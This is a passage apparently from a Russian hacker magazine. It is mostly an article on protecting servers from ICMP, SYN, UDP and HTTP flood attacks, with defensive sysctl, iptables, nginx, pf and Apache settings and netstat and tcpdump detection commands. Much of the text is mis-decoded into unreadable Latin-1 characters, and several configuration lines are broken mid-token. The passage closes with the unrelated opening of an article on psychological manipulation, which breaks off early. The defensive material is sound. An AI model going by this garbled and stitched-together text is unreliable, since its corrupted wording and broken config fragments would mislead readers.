 Â ñàìîì êîíöå áóäåò äàí îòâåò íà âîïðîñ: ÷òî äåëàòü, êîãäà íà÷àëàñü 
DDoS-àòàêà.

БОРЬБА С FLOOD-АТАКАМИ Èòàê, ñóùåñòâóåò äâà òèïà DoS/DDoS-
àòàê, è íàèáîëåå ðàñïðîñòðàíåííàÿ èç íèõ îñíîâàíà íà èäåå ôëóäà, 

òî åñòü çàâàëèâàíèè æåðòâû îãðîìíûì êîëè÷åñòâîì ïàêåòîâ. Ôëóä 
áûâàåò ðàçíûì: ICMP-ôëóä, SYN-ôëóä, UDP-ôëóä è HTTP-ôëóä. Ñîâ-

ðåìåííûå DoS-áîòû ìîãóò èñïîëüçîâàòü âñå ýòè âèäû àòàê îäíîâðå-
ìåííî, ïîýòîìó ñëåäóåò çàðàíåå ïîçàáîòèòüñÿ îá àäåêâàòíîé çàùèòå 
îò êàæäîé èç íèõ.

1. ICMP-ôëóä. 
Î÷åíü ïðèìèòèâíûé ìåòîä çàáèâàíèÿ ïîëîñû ïðîïóñêàíèÿ è ñîçäà-

íèÿ íàãðóçîê íà ñåòåâîé ñòåê ÷åðåç ìîíîòîííóþ ïîñûëêó çàïðîñîâ 
ICMP ECHO (ïèíã). Ëåãêî îáíàðóæèâàåòñÿ ñ ïîìîùüþ àíàëèçà ïî-
òîêîâ òðàôèêà â îáå ñòîðîíû: âî âðåìÿ àòàêè òèïà ICMP-ôëóä îíè 

ïðàêòè÷åñêè èäåíòè÷íû. Ïî÷òè áåçáîëåçíåííûé ñïîñîá àáñîëþòíîé 
çàùèòû îñíîâàí íà îòêëþ÷åíèè îòâåòîâ íà çàïðîñû ICMP ECHO:

# sysctl net.ipv4.icmp_echo_ignore_all=1

Èëè ñ ïîìîùüþ áðàíäìàóýðà:

# iptables -A INPUT -p icmp -j DROP --icmp-type 8

2. SYN-ôëóä. 
Îäèí èç ðàñïðîñòðàíåííûõ ñïîñîáîâ íå òîëüêî çàáèòü êàíàë ñâÿçè, 
íî è ââåñòè ñåòåâîé ñòåê îïåðàöèîííîé ñèñòåìû â òàêîå ñîñòîÿíèå, 

êîãäà îí óæå íå ñìîæåò ïðèíèìàòü íîâûå çàïðîñû íà ïîäêëþ÷åíèå. 

Îñíîâàí íà ïîïûòêå èíèöèàëèçàöèè áîëüøîãî ÷èñëà îäíîâðåìåí-
íûõ TCP-ñîåäèíåíèé ÷åðåç ïîñûëêó SYN-ïàêåòà ñ íåñóùåñòâóþùèì 
îáðàòíûì àäðåñîì. Ïîñëå íåñêîëüêèõ ïîïûòîê îòîñëàòü îòâåòíûé 

ACK-ïàêåò íà íåäîñòóïíûé àäðåñ áîëüøèíñòâî îïåðàöèîíîê ñòàâÿò 
íåóñòàíîâëåííîå ñîåäèíåíèå â î÷åðåäü. È òîëüêî ïîñëå n-îé ïîïûòêè 
çàêðûâàþò ñîåäèíåíèå. Òàê êàê ïîòîê ACK-ïàêåòîâ î÷åíü âåëèê, âñêî-
ðå î÷åðåäü îêàçûâàåòñÿ çàïîëíåííîé, è ÿäðî äàåò îòêàç íà ïîïûòêè 
îòêðûòü íîâîå ñîåäèíåíèå. Íàèáîëåå óìíûå DoS-áîòû åùå è àíàëè-

çèðóþò ñèñòåìó ïåðåä íà÷àëîì àòàêè, ÷òîáû ñëàòü çàïðîñû òîëüêî íà 
îòêðûòûå æèçíåííî âàæíûå ïîðòû. Èäåíòèôèöèðîâàòü òàêóþ àòàêó 
ïðîñòî: äîñòàòî÷íî ïîïðîáîâàòü ïîäêëþ÷èòüñÿ ê îäíîìó èç ñåðâèñîâ. 

Îáîðîíèòåëüíûå ìåðîïðèÿòèÿ îáû÷íî âêëþ÷àþò â ñåáÿ:
• Óâåëè÷åíèå î÷åðåäè «ïîëóîòêðûòûõ» TCP-ñîåäèíåíèé:

# sysctl -w net.ipv4.tcp_max_syn_backlog=1024

Ñëåä â èñòîðèè 
1997 ãîä — DDoS-àòàêà íà web-ñàéò Microsoft. Îäèí äåíü ìîë÷àíèÿ.
1999 ãîä — «âíå çîíû äåéñòâèÿ» îêàçàëèñü web-ñàéòû Yahoo, CNN, 
eBay è äð.
Îêòÿáðü 2002 — àòàêà íà êîðíåâûå DNS-ñåðâåðû èíòåðíåòà. Íà 
íåêîòîðîå âðåìÿ áûëè âûâåäåíû èç ñòðîÿ 7 èç 13 ñåðâåðîâ.
21 ôåâðàëÿ 2003 ãîäà — DDoS-íàïàäåíèå íà LiveJournal.com. Äâà 
äíÿ ñåðâèñ íàõîäèëñÿ â ïàðàëèçîâàííîì ñîñòîÿíèè, ëèøü èíîãäà ïîäà-
âàÿ ïðèçíàêè æèçíè.
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• Óìåíüøåíèå âðåìåíè óäåðæàíèÿ «ïîëóîòêðûòûõ» ñîåäèíåíèé:

# sysctl -w net.ipv4.tcp_synack_retries=1

• Âêëþ÷åíèå ìåõàíèçìà TCP syncookies:

# sysctl -w net.ipv4.tcp_syncookies=1

• Îãðàíè÷åíèå ìàêñèìàëüíîãî ÷èñëà «ïîëóîòêðûòûõ» ñîåäèíå-

íèé ñ îäíîãî IP ê êîíêðåòíîìó ïîðòó:

# iptables -I INPUT -p tcp --syn --dport 80 -m iplimit 

--iplimit-above 10 -j DROP

3. UDP-ôëóä. 
Òèïè÷íûé ìåòîä çàõëàìëåíèÿ ïîëîñû ïðîïóñêàíèÿ. Îñíîâàí íà áåñ-
êîíå÷íîé ïîñûëêå UDP-ïàêåòîâ íà ïîðòû ðàçëè÷íûõ UDP-ñåðâèñîâ. 
Ëåãêî óñòðàíÿåòñÿ çà ñ÷åò îòðåçàíèÿ òàêèõ ñåðâèñîâ îò âíåøíåãî 
ìèðà è óñòàíîâêè ëèìèòà íà êîëè÷åñòâî ñîåäèíåíèé â åäèíèöó âðå-

ìåíè ê DNS-ñåðâåðó íà ñòîðîíå øëþçà:

# iptables -I INPUT -p udp --dport 53 -j DROP -m iplimit 

--iplimit-above 1

4. HTTP-ôëóä. 
Îäèí èç ñàìûõ ðàñïðîñòðàíåííûõ íà ñåãîäíÿøíèé äåíü ñïîñî-

áîâ ôëóäà. Îñíîâàí íà áåñêîíå÷íîé ïîñûëêå HTTP-ñîîáùåíèé 
GET íà 80-é ïîðò ñ öåëüþ çàãðóçèòü web-ñåðâåð íàñòîëüêî, ÷òî-
áû îí îêàçàëñÿ íå â ñîñòîÿíèè îáðàáàòûâàòü îñòàëüíûå çàïðîñû. 

×àñòî öåëüþ ôëóäà ñòàíîâèòñÿ íå êîðåíü web-ñåðâåðà, à îäèí èç 
ñêðèïòîâ, âûïîëíÿþùèõ ðåñóðñîåìêèå çàäà÷è èëè ðàáîòàþùèé ñ 
áàçîé äàííûõ. Â ëþáîì ñëó÷àå, èíäèêàòîðîì íà÷àâøåéñÿ àòàêè 
áóäåò ñëóæèòü àíîìàëüíî áûñòðûé ðîñò ëîãîâ web-ñåðâåðà. Ìå-
òîäû áîðüáû ñ HTTP-ôëóäîì âêëþ÷àþò â ñåáÿ òþíèíã web-ñåðâå-
ðà è áàçû äàííûõ ñ öåëüþ ñíèçèòü ýôôåêò îò àòàêè, à òàêæå îò-
ñåèâàíèå DoS-áîòîâ ñ ïîìîùüþ ðàçëè÷íûõ ïðèåìîâ. Âî-ïåðâûõ, 
ñëåäóåò óâåëè÷èòü ìàêñèìàëüíîå ÷èñëî êîííåêòîâ ê áàçå äàííûõ 
îäíîâðåìåííî. Âî-âòîðûõ, óñòàíîâèòü ïåðåä web-ñåðâåðîì Apache 
ëåãêèé è ïðîèçâîäèòåëüíûé nginx — îí áóäåò êýøèðîâàòü çàïðîñû 
è îòäàâàòü ñòàòèêó. Ýòî ðåøåíèå èç ñïèñêà «must have», êîòîðîå íå 
òîëüêî ñíèçèò ýôôåêò DoS-àòàê, íî è ïîçâîëèò ñåðâåðó âûäåðæàòü 
îãðîìíûå íàãðóçêè. Íåáîëüøîé ïðèìåð:

# vi /etc/nginx/nginx.conf

# Óâåëè÷èâàåì ìàêñèìàëüíîå êîëè÷åñòâî èñïîëüçóåìûõ ôàé-

ëîâ

worker_rlimit_nofile 80000;

events {

    # Óâåëè÷èâàåì ìàêñèìàëüíîå êîëè÷åñòâî ñîåäèíåíèé

    worker_connections 65536;

    # Èñïîëüçîâàòü ýôôåêòèâíûé ìåòîä epoll äëÿ îáðàáîòêè 

ñîåäèíåíèé

    use epoll;

}

Áîðüáà ñ DDoS 
âî FreeBSD 
Óìåíüøàåì âðåìÿ îæèäàíèÿ îòâåòíîãî ïàêåòà íà çàïðîñ SYN-ACK 
(çàùèòà îò SYN-ôëóäà):

# sysctl net.inet.tcp.msl=7500

Ïðåâðàùàåì ñåðâåð â ÷åðíóþ äûðó. Òàê ÿäðî íå áóäåò ñëàòü îòâåò-
íûå ïàêåòû ïðè ïîïûòêå ïîäêëþ÷èòüñÿ ê íåçàíÿòûì ïîðòàì (ñíè-
æàåò íàãðóçêó íà ìàøèíó âî âðåìÿ DDoS'à íà ñëó÷àéíûå ïîðòû):

# sysctl net.inet.tcp.blackhole=2

# sysctl net.inet.udp.blackhole=1

Îãðàíè÷èâàåì ÷èñëî îòâåòîâ íà ICMP-ñîîáùåíèÿ 50-þ â ñåêóíäó 
(çàùèòà îò ICMP-ôëóäà):

# sysctl net.inet.icmp.icmplim=50

Óâåëè÷èâàåì ìàêñèìàëüíîå êîëè÷åñòâî ïîäêëþ÷åíèé ê ñåðâåðó 
(çàùèòà îò âñåõ âèäîâ DDoS):

# sysctl kern.ipc.somaxconn=32768

Âêëþ÷àåì DEVICE_POLLING — ñàìîñòîÿòåëüíûé îïðîñ ñåòåâîãî 
äðàéâåðà ÿäðîì íà âûñîêèõ íàãðóçêàõ (ñóùåñòâåííî ñíèæàåò íà-
ãðóçêó íà ñèñòåìó âî âðåìÿ DDoS'à):
1. Ïåðåñîáèðàåì ÿäðî ñ îïöèåé «options DEVICE_POLLING»;
2. Àêòèâèðóåì ìåõàíèçì ïîëëèíãà: «sysctl kern.polling.enable=1»;
3. Äîáàâëÿåì çàïèñü «kern.polling.enable=1» â /etc/sysctl.conf.

SYN\ACK

ЛОГИ TCPDUMP МОЖНО ОТОСЛАТЬ НА ПРОВЕРКУ 
В STOPDDOS.ORG. БЕСПЛАТНО

Êðóïíåéøèå 
áîòíåòû 
Kraken — 400 òûñÿ÷ êîìïüþòåðîâ.
Srizbi — 315 òûñÿ÷ êîìïüþòåðîâ.
Bobax — 185 òûñÿ÷ êîìïüþòåðîâ.
Rustock — 150 òûñÿ÷ êîìïüþòåðîâ.
Storm — 100 òûñÿ÷ êîìïüþòåðîâ.

Psybot — 100 òûñÿ÷ ADSL-ìàðøðóòèçàòîðîâ, îñíîâàííûõ íà Linux.
Áîòíåò BBC — 22 òûñÿ÷è êîìïüþòåðîâ. Ýêñïåðèìåíòàëüíûé áîòíåò, 
ñîçäàííûé êîìïàíèåé BBC.
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http {

    gzip off;

    # Îòêëþ÷àåì òàéìàóò íà çàêðûòèå keep-alive 

ñîåäèíåíèé

    keepalive_timeout 0;

    # Íå îòäàâàòü âåðñèþ nginx â çàãîëîâêå îò-

âåòà

    server_tokens off;

    # Ñáðàñûâàòü ñîåäèíåíèå ïî òàéìàóòó

    reset_timedout_connection on;

}

# Ñòàíäàðòíûå íàñòðîéêè äëÿ ðàáîòû â êà÷åñòâå 

ïðîêñè

server {

    listen 111.111.111.111 default deferred;

    server_name host.com www.host.com;

    log_format IP $remote_addr;

    location / {

        proxy_pass http://127.0.0.1/;

    }

    location ~* \.(jpeg|jpg|gif|png|css|js|pd

f|txt|tar)$ {

        root /home/www/host.com/httpdocs;

    }

}

Â ñëó÷àå íåîáõîäèìîñòè ìîæíî çàäåéñòâîâàòü nginx-ìî-
äóëü ngx_http_limit_req_module, îãðàíè÷èâàþùèé êî-

ëè÷åñòâî îäíîâðåìåííûõ ïîäêëþ÷åíèé ñ îäíîãî àäðåñà 
(http://sysoev.ru/nginx/docs/http/ngx_http_limit_req_
module.html). 

Ðåñóðñîåìêèå ñêðèïòû ìîæíî çàùèòèòü îò áîòîâ ñ ïî-
ìîùüþ çàäåðæåê, êíîïîê «Íàæìè ìåíÿ», âûñòàâëåíèÿ 
êóêèñîâ è äðóãèõ ïðèåìîâ, íàïðàâëåííûõ íà ïðîâåðêó 
«÷åëîâå÷íîñòè».

УНИВЕРСАЛЬНЫЕ СОВЕТЫ ×òîáû íå ïîïàñòü â áåçâû-
õîäíîå ïîëîæåíèå âî âðåìÿ îáðóøåíèÿ DDoS-øòîðìà íà 
ñèñòåìû, íåîáõîäèìî òùàòåëüíûì îáðàçîì ïîäãîòîâèòü 
èõ ê òàêîé ñèòóàöèè:

1. Âñå ñåðâåðà, èìåþùèå ïðÿìîé äîñòóï âî âíåøíþþ ñåòü, 
äîëæíû áûòü ïîäãîòîâëåíû ê ïðîñòîìó è áûñòðîìó óäà-
ëåííîìó ðåáóòó (sshd ñïàñåò îòöà ðóññêîé äåìîêðàòèè). 
Áîëüøèì ïëþñîì áóäåò íàëè÷èå âòîðîãî, àäìèíèñòðà-

òèâíîãî, ñåòåâîãî èíòåðôåéñà, ÷åðåç êîòîðûé ìîæíî 
ïîëó÷èòü äîñòóï ê ñåðâåðó â ñëó÷àå çàáèòîñòè îñíîâíîãî 

êàíàëà.

2. ÏÎ, èñïîëüçóåìîå íà ñåðâåðå, âñåãäà äîëæíî íàõîäèòü-
ñÿ â àêòóàëüíîì ñîñòîÿíèè. Âñå äûðêè — ïðîïàò÷åíû, 

îáíîâëåíèÿ óñòàíîâëåíû (ïðîñòîé, êàê ñàïîã, ñîâåò, êî-
òîðîìó ìíîãèå íå ñëåäóþò). Ýòî îãðàäèò òåáÿ îò DoS-àòàê, 

ýêñïëóàòèðóþùèõ áàãè â ñåðâèñàõ.

3. Âñå ñëóøàþùèå ñåòåâûå ñåðâèñû, ïðåäíàçíà÷åííûå äëÿ 
àäìèíèñòðàòèâíîãî èñïîëüçîâàíèÿ, äîëæíû áûòü ñïðÿ-

info
• Подробнее о прото-
коле NetFlow можно 
прочитать в статье 
«Поток пакетов — на 
контроль!», опубли-
кованной в июльском 
номере z за 2007 
год.

• Round-robin — 
алгоритм вырав-
нивания нагрузки 
распределенной 
вычислительной 
системы методом пе-
ребора ее элементов 
по круговому циклу.

• В поставку 
OpenBSD входит 
утилита tcpdrop(8), 
с помощью которой 
можно отбросить 
TCP-подклю-
чение (tcpdrop 
192.168.1.1:80 
192.168.1.12:26747).

INFO

Íàèâíûé Internet 
Âî âðåìåíà ñâîåãî ðàññâåòà DoS-àòàêè áûëè íàñòîÿùåé êàòàñòðîôîé äëÿ 
ñåðâåðîâ è îáû÷íûõ ðàáî÷èõ ñòàíöèé. Web-ñàéò ìîæíî áûëî ëåãêî çàâàëèòü ñ 
ïîìîùüþ îäíîãî-åäèíñòâåííîãî õîñòà, ðåàëèçóþùåãî àòàêó òèïà Smurf. Ðàáî÷èå 
ñòàíöèè ñ óñòàíîâëåííîé ÎÑ Windows ïàäàëè, êàê äîìèíîøêè, îò àòàê òèïà Ping 
of Death, Land, WinNuke. Ñåãîäíÿ âñåãî ýòîãî íå ñòîèò îïàñàòüñÿ.

Èíòåëëåêòóàëüíûå ñèñòåìû
Èíòåðåñíóþ àëüòåðíàòèâó ðåøåíèÿì Cisco âûïóñêàåò êîìïàíèÿ Reactive Networks (www.reactivenetworks.com). Èõ ïðî-
äóêò ïîä íàçâàíèåì FloodGuard ïðåäñòàâëÿåò ñîáîé àïïàðàòíûé êîìïëåêñ, ñîñòîÿùèé èç äåòåêòîðîâ è èñïîëíèòåëüíûõ 
ìîäóëåé. Äåòåêòîðû, óñòàíîâëåííûå íà áðàíäìàóýðàõ, ìàðøðóòèçàòîðàõ è ñâèò÷àõ, ïîñòîÿííî ìîíèòîðÿò òðàôèê è ñî-
çäàþò åãî ïðîôèëü íà îñíîâå òàêèõ ïàðàìåòðîâ, êàê îáúåì ïàêåòîâ, èñòî÷íèê, íàïðàâëåíèå, òèï è ò.ä. Â ñëó÷àå âîçíèêíî-
âåíèÿ àíîìàëèé äåòåêòîð ïîñûëàåò âñå ïîäðîáíîñòè î ïðîèçîøåäøåì èñïîëíèòåëüíûì ìîäóëÿì, ðàñïîëàãàþùèìñÿ íà 

ìàðøðóòèçàòîðàõ â ðàçíûõ ñåãìåíòàõ ñåòè. Ïîëó÷èâ ñîîáùåíèå îò äåòåêòîðà, èñïîëíèòåëüíûå ìîäóëè íà÷èíàþò äåéñ-
òâîâàòü: îíè îòûñêèâàþò ïàðàçèòíûé òðàôèê â ïðîõîäÿùèõ ïàêåòàõ è, â ñëó÷àå óäà÷è, îïîâåùàþò îá ýòîì ïðåäûäóùèå 
ïî õîäó òðàôèêà ìîäóëè è ïîñûëàþò èì èíñòðóêöèè ïî àêòèâàöèè ôèëüòðîâ íà ìàðøðóòèçàòîðàõ. Â ðåçóëüòàòå, ïåðåä 

ïîòîêîì ôëóä-òðàôèêà äîëæåí îáðàçîâàòüñÿ çàñëîí, êîòîðûé áóäåò áûñòðî ïåðåìåùàòüñÿ â ñòîðîíó åãî èñòî÷íèêà.
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МНОГО СОЕДИНЕНИЙ, ПОМЕЧЕННЫХ ФЛАГОМ SYN_
RCVD — ПОВОД БИТЬ ТРЕВОГУ



òàíû áðàíäìàóýðîì îòî âñåõ, êòî íå äîëæåí èìåòü ê íèì äîñòóï. Òîã-
äà àòàêóþùèé íå ñìîæåò èñïîëüçîâàòü èõ äëÿ ïðîâåäåíèÿ DoS-àòàêè 
èëè áðóòôîðñà.

4. Íà ïîäõîäàõ ê ñåðâåðó (áëèæàéøåì ìàðøðóòèçàòîðå) äîëæíà áûòü 
óñòàíîâëåíà ñèñòåìà àíàëèçà òðàôèêà (NetFlow â ïîìîùü), êîòîðàÿ 
ïîçâîëèò ñâîåâðåìåííî óçíàòü î íà÷èíàþùåéñÿ àòàêå è âîâðåìÿ 
ïðèíÿòü ìåðû ïî åå ïðåäîòâðàùåíèþ.
Äîáàâü â /etc/sysctl.conf ñëåäóþùèå ñòðîêè:

# vi /etc/sysctl.conf

# Çàùèòà îò ñïóôèíãà

net.ipv4.conf.default.rp_filter = 1

# Ïðîâåðÿòü TCP-ñîåäèíåíèå êàæäóþ ìèíóòó. Åñëè íà äðóãîé 

ñòîðîíå — ëåãàëüíàÿ ìàøèíà, îíà ñðàçó îòâåòèò. Äåôîëòî-

âîå çíà÷åíèå — 2 ÷àñà.

net.ipv4.tcp_keepalive_time = 60

# Ïîâòîðèòü ïðîáó ÷åðåç äåñÿòü ñåêóíä

net.ipv4.tcp_keepalive_intvl = 10

# Êîëè÷åñòâî ïðîâåðîê ïåðåä çàêðûòèåì ñîåäèíåíèÿ

net.ipv4.tcp_keepalive_probes = 5

Ñëåäóåò îòìåòèòü, ÷òî âñå ïðèåìû, ïðèâåäåííûå â ïðîøëîì è ýòîì 
ðàçäåëàõ, íàïðàâëåíû íà ñíèæåíèå ýôôåêòèâíîñòè DDoS-àòàê, ñòà-
âÿùèõ ñâîåé öåëüþ èçðàñõîäîâàòü ðåñóðñû ìàøèíû. Îò ôëóäà, çàáè-
âàþùåãî êàíàë ìóñîðîì, çàùèòèòüñÿ ïðàêòè÷åñêè íåâîçìîæíî, è 

åäèíñòâåííî ïðàâèëüíûé, íî íå âñåãäà îñóùåñòâèìûé ñïîñîá áîðüáû 
çàêëþ÷àåòñÿ â òîì, ÷òîáû «ëèøèòü àòàêó ñìûñëà». Åñëè òû çàèìååøü 
â ñâîå ðàñïîðÿæåíèå äåéñòâèòåëüíî øèðîêèé êàíàë, êîòîðûé ëåãêî 
ïðîïóñòèò òðàôèê íåáîëüøîãî áîòíåòà, ñ÷èòàé, ÷òî îò 90% àòàê òâîé 
ñåðâåð çàùèùåí. Åñòü áîëåå èçîùðåííûé ñïîñîá çàùèòû. Îí îñíîâàí 
íà îðãàíèçàöèè ðàñïðåäåëåííîé âû÷èñëèòåëüíîé ñåòè, âêëþ÷àþùåé 
â ñåáÿ ìíîæåñòâî äóáëèðóþùèõ ñåðâåðîâ, êîòîðûå ïîäêëþ÷åíû ê 
ðàçíûì ìàãèñòðàëüíûì êàíàëàì. Êîãäà âû÷èñëèòåëüíûå ìîùíîñòè 
èëè ïðîïóñêíàÿ ñïîñîáíîñòü êàíàëà çàêàí÷èâàþòñÿ, âñå íîâûå êëè-
åíòû ïåðåíàïðàâëÿþòñÿ íà äðóãîé ñåðâåð (èëè æå ïîñòåïåííî «ðàç-
ìàçûâàþòñÿ» ïî ñåðâåðàì ïî ïðèíöèïó round-robin). Ýòî íåâåðîÿòíî 
äîðîãàÿ, íî î÷åíü ñòîéêàÿ ñòðóêòóðà, çàâàëèòü êîòîðóþ ïðàêòè÷åñêè 
íåðåàëüíî.
Äðóãîå áîëåå-ìåíåå ýôôåêòèâíîå ðåøåíèå çàêëþ÷àåòñÿ â ïîêóïêå äî-
ðîãîñòîÿùèõ õàðäâàðíûõ ñèñòåì Cisco Traffic Anomaly Detector è Cisco 
Guard. Ðàáîòàÿ â ñâÿçêå, îíè ìîãóò ïîäàâèòü íà÷èíàþùóþñÿ àòàêó, 
íî, êàê è áîëüøèíñòâî äðóãèõ ðåøåíèé, îñíîâàííûõ íà îáó÷åíèè è 

Ïðèìåð îãðàíè÷åíèÿ 
ïîäêëþ÷åíèé 
ê web-ñåðâåðó 
ñ ïîìîùüþ pf 
(ôàéë pf.conf)
ext_if="fxp0"

pass in on $ext_if inet proto tcp to $ext_if \
 port www keep state (max 100, source-track rule, \
 max-src-nodes 50, max-src-states 10)

ПРИНЦИП РАБОТЫ FLOODGUARD

CISCO TRAFFIC ANOMALY DETECTOR

SYN\ACK
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àíàëèçå ñîñòîÿíèé, äàþò ñáîè. Ïîýòîìó ñëåäóåò õîðîøåíüêî ïîäó-
ìàòü ïåðåä òåì, êàê âûáèâàòü èç íà÷àëüñòâà äåñÿòêè òûñÿ÷è äîëëàðîâ 
íà òàêóþ çàùèòó.

 КАЖЕТСЯ, НАЧАЛОСЬ. ЧТО ДЕЛАТЬ? Ïåðåä íåïîñðåäñòâåííûì 
íà÷àëîì àòàêè áîòû «ðàçîãðåâàþòñÿ», ïîñòåïåííî íàðàùèâàÿ ïîòîê 
ïàêåòîâ íà àòàêóåìóþ ìàøèíó. Âàæíî ïîéìàòü ìîìåíò è íà÷àòü 
àêòèâíûå äåéñòâèÿ. Ïîìîæåò â ýòîì ïîñòîÿííîå íàáëþäåíèå çà 
ìàðøðóòèçàòîðîì, ïîäêëþ÷åííûì ê âíåøíåé ñåòè (àíàëèç ãðàôè-
êîâ NetFlow). Íà ñåðâåðå-æåðòâå îïðåäåëèòü íà÷àëî àòàêè ìîæíî 
ïîäðó÷íûìè ñðåäñòâàìè.
Íàëè÷èå SYN-ôëóäà óñòàíàâëèâàåòñÿ ëåãêî — ÷åðåç ïîäñ÷åò ÷èñëà 
«ïîëóîòêðûòûõ» TCP-ñîåäèíåíèé:

# netstat -na | grep ":80\ " | grep SYN_RCVD

Â îáû÷íîé ñèòóàöèè èõ íå äîëæíî áûòü ñîâñåì (èëè î÷åíü íåáîëüøîå 
êîëè÷åñòâî: ìàêñèìóì 1-3). Åñëè ýòî íå òàê — òû àòàêîâàí, ñðî÷íî 

ïåðåõîäè ê äðîïàíüþ àòàêóþùèõ.
Ñ HTTP-ôëóäîì íåñêîëüêî ñëîæíåå. Äëÿ íà÷àëà íóæíî ïîäñ÷èòàòü 

êîëè÷åñòâî ïðîöåññîâ Apache è êîëè÷åñòâî êîííåêòîâ íà 80-é ïîðò 
(HTTP-ôëóä):

# ps aux | grep httpd | wc -l

# netstat -na | grep ":80\ " | wc -l

Çíà÷åíèÿ, â íåñêîëüêî ðàç ïðåâûøàþùèå ñðåäíåñòàòèñòè-
÷åñêèå,  äàþò îñíîâàíèÿ çàäóìàòüñÿ.  Äàëåå ñëåäóåò ïðîñìîò-
ðåòü ñïèñîê IP-àäðåñîâ,  ñ  êîòîðûõ èäóò çàïðîñû íà ïîäê ëþ-
÷åíèå:

# netstat -na | grep ":80\ " | sort | uniq -c | sort -nr 

| less

Îäíîçíà÷íî èäåíòèôèöèðîâàòü DoS-àòàêó íåëüçÿ, ìîæíî ëèøü ïîä-
òâåðäèòü ñâîè äîãàäêè î íàëè÷èè òàêîâîé, åñëè îäèí àäðåñ ïîâòîðÿåò-
ñÿ â ñïèñêå ñëèøêîì ìíîãî ðàç (äà è òî, ýòî ìîæåò ãîâîðèòü î ïîñåòè-
òåëÿõ, ñèäÿùèõ çà NAT'îì). Äîïîëíèòåëüíûì ïîäòâåðæäåíèåì áóäåò 
àíàëèç ïàêåòîâ ñ ïîìîùüþ tcpdump:

# tcpdump -n -i eth0 -s 0 -w output.txt dst port 80 and 

host IP-ñåðâåðà

Ïîêàçàòåëåì ñëóæèò áîëüøîé ïîòîê îäíîîáðàçíûõ (è íå ñîäåðæàùèõ 
ïîëåçíîé èíôîðìàöèè) ïàêåòîâ îò ðàçíûõ IP, íàïðàâëåííûõ íà îäèí 
ïîðò/ñåðâèñ (íàïðèìåð, êîðåíü web-ñåðâåðà èëè îïðåäåëåííûé cgi-
ñêðèïò).
Îêîí÷àòåëüíî îïðåäåëèâøèñü, íà÷èíàåì äðîïàòü íåóãîäíûõ ïî IP-
àäðåñàì (áóäåò ãîðàçäî áîëüøå ýôôåêòà, åñëè òû ñäåëàåøü ýòî íà ìàð-
øðóòèçàòîðå):

# iptables -A INPUT -s xxx.xxx.xxx.xxx -p tcp --destination-

port http -j DROP

Èëè ñðàçó ïî ïîäñåòÿì:

# iptables -A INPUT -s xxx.xxx.0.0/16 -p tcp --destination-

port http -j DROP

Ýòî äàñò òåáå íåêîòîðóþ ôîðó (ñîâñåì ìàëåíüêóþ; çà÷àñòóþ IP-
àäðåñ èñòî÷íèêà ñïóôèòñÿ), êîòîðóþ òû äîëæåí èñïîëüçîâàòü, 
÷òîáû îáðàòèòüñÿ ê ïðîâàéäåðó/õîñòåðó (ñ ïðèëîæåííûìè ê 
ñîîáùåíèþ ëîãàìè web-ñåðâåðà, ÿäðà, áðàíäìàóýðà è ñïèñêîì 
âûÿâëåííûõ òîáîé IP-àäðåñîâ). Áîëüøèíñòâî èç íèõ, êîíå÷íî, 

ïðîèãíîðèðóþò ýòî ñîîáùåíèå (à õîñòèíãè ñ îïëàòîé òðàôèêà 
åùå è ïîðàäóþòñÿ — DoS-àòàêà ïðèíåñåò èì ïðèáûëü) èëè ïðîñ-
òî îòêëþ÷àò òâîé ñåðâåð. Íî â ëþáîì ñëó÷àå ýòî ñëåäóåò ñäåëàòü 

îáÿçàòåëüíî, — ýôôåêòèâíàÿ çàùèòà îò DDoS âîçìîæíà òîëüêî 
íà ìàãèñòðàëüíûõ êàíàëàõ. Â îäèíî÷êó òû ñïðàâèøüñÿ ñ ìåëêè-
ìè íàïàäêàìè, íàïðàâëåííûìè íà èñòîùåíèå ðåñóðñîâ ñåðâå-
ðà, íî îêàæåøüñÿ áåççàùèòíûì ïåðåä áîëåå-ìåíåå ñåðüåçíûì 
DDoS'îì.  z

Ïðèìåð îãðàíè÷åíèÿ 
ïîäêëþ÷åíèé 
ñðåäñòâàìè èíäåéöà 
(ôàéë httpd.conf)
Timeout 300
KeepAlive On
MaxKeepAliveRequests 32
KeepAliveTimeout 15

MinSpareServers 1
MaxSpareServers 4
StartServers 1
MaxClients 32
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Óñëûøàâ ôðàçó «ïñèõîëî-
ãè÷åñêèå ìàíèïóëÿöèè» èëè «ïñèõîëîãè÷åñêîå 
âîçäåéñòâèå», ñðåäíèé ÷åëîâåê íàâåðíÿêà 
ïðåäñòàâèò ñåáå áðóòàëüíûõ ñîòðóäíèêîâ 
ñïåöñëóæá â øòàòñêîì, ãîâîðÿùóþ ãîëîâó èç 

çîìáîÿùèêà èëè äâóõ òîï-ìåíåäæåðîâ êðóï-
íûõ êîìïàíèé, èñïûòûâàþùèõ äðóã íà äðóãå 

äàííîå èñêóññòâî â ïðîöåññå âåäåíèÿ âàæíûõ 
ïåðåãîâîðîâ.

В принципе, так оно и есть — эти люди действи-
тельно практикуют психологические техники, 
но на деле большинство манипуляций пре-
творяется в жизнь нами, обычными людьми. 
Сотни миллионов обывателей применяют их 
в повседневной жизни неосознанно, основы-
ваясь на своем или чужом опыте (что вовсе не 
снижает их эффективности). Дети используют 
их, выбивая ништяки из родителей. Работники 
— чтобы поиметь друг друга, подняться на вер-
шину офисной пирамиды, присвоив себе чужие 
заслуги и отвратив внимание начальства от 
своих просчетов. Переговорщики — чтобы вы-
требовать более выгодные условия, потратив 
на этом меньше денег. Иначе говоря, мы с тобой 
наверняка бывали и в роли манипулятора, и 
в роли жертвы («елки-палки, как же меня так 
поимели, а»), и в роли стороннего наблюдателя 
(«да, хитро его натянули, но он еще сопротивля-
ется»), поскольку таково уж оно, межличност-
ное общение разумных человеков. В рамках 
статьи мы рассмотрим, что же такое манипуля-

ции, какие методы используются в процессе их 
реализации, кто является непосредственным 
участником, и как от всего этого «добра» защи-
титься. Начнем, как всегда, с определения.

PRAVA USURPATIO
Манипуляция — это скрытое действо, которое 
позволяет одному, обладающему определен-
ным навыком, человеку, склонить другого 
(менее умелого или более слабого) к измене-
нию своих желаний, мотиваций или линии 
поведения в пользу манипулятора. Причем, не 
прямым обманом или угрозой, а таким хитрым 
способом, при котором он окажется как бы сам 
ответственным за принятое решение. Кажется, 
определение получилось весьма неплохим, 
хотя и не идеальным. Например, манипуляция 
может быть и не скрытой. Так или иначе, мани-
пуляция — это навязывание мотивации другому 
человеку, использование его в качестве сред-
ства для достижения своих собственных целей. 
Отлично, с этим более-менее разобрались. 
Самое время рассмотреть участников нашего 
театрализованного представления.

СПИСОК 
УЧАСТНИКОВ
Те же и Хлестаков. Простите, гоню — в далеком 
